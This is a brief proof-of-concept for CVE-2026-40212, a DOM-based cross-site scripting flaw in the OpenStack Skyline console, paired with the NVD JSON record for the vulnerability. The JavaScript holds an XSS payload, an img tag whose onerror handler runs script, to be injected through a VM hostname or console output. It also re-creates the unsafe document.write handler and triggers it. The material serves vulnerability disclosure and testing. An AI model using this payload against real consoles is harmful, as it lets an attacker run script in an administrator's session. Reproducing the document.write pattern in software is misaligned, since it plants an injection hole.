CVE-2026-40212

/* * PoC for CVE-2026-40212 (DOM-based XSS) * Context: Inject payload into VM console log output. * Trigger: Admin views the console in Skyline Dashboard. */ // Malicious payload to be injected into the VM console output // (e.g., via setting a malicious hostname or shell output) var payload = '<img src=x onerror=alert("CVE-2026-40212-XSS")>'; // Simulation of the vulnerable code in Skyline Console // This mimics how the vulnerable frontend handles the log data function vulnerableLogHandler(logData) { // Vulnerability: Using document.write with untrusted input document.write(logData); } // Triggering the vulnerability vulnerableLogHandler(payload);

{"cve": {"id": "CVE-2026-40212", "sourceIdentifier": "[email protected]", "published": "2026-04-10T08:16:25.850", "lastModified": "2026-04-13T15:02:06.187", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenStack Skyline before 5.0.1, 6.0.0, and 7.0.0 has a DOM-based Cross-Site Scripting (XSS) vulnerability in the console because document.write is used unsafely, which is relevant in scenarios where administrators use the console web interface to view instance console logs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://bugs.launchpad.net/skyline-console/+bug/2138575", "source": "[email protected]"}, {"url": "https://review.opendev.org/973351", "source": "[email protected]"}, {"url": "https://security.openstack.org/ossa/OSSA-2026-006.html", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/09/30", "source": "[email protected]"}]}}